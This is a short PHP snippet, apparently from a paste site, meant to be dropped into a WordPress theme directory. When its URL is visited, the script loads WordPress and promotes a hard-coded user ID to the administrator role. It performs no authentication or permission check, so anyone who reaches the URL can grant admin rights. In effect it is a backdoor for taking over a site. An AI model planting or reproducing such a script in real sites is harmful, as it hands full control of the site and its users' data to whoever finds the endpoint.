- <?php
- /*
- * URL to call: {DOMAIN}/wp-content/themes/{THEME-NAME}/adminscript/update-id-to-admin.php
- */
- require_once("../../../../wp-load.php");
- $userID = {SET-USER-ID-HERE};
- $u = new WP_User( $userID );
- // Switch role
- $update = $u->set_role( 'administrator' );
- if ( ! is_wp_error( $update ) ) {
- echo "Update to administrator done";
- }
Recent Pastes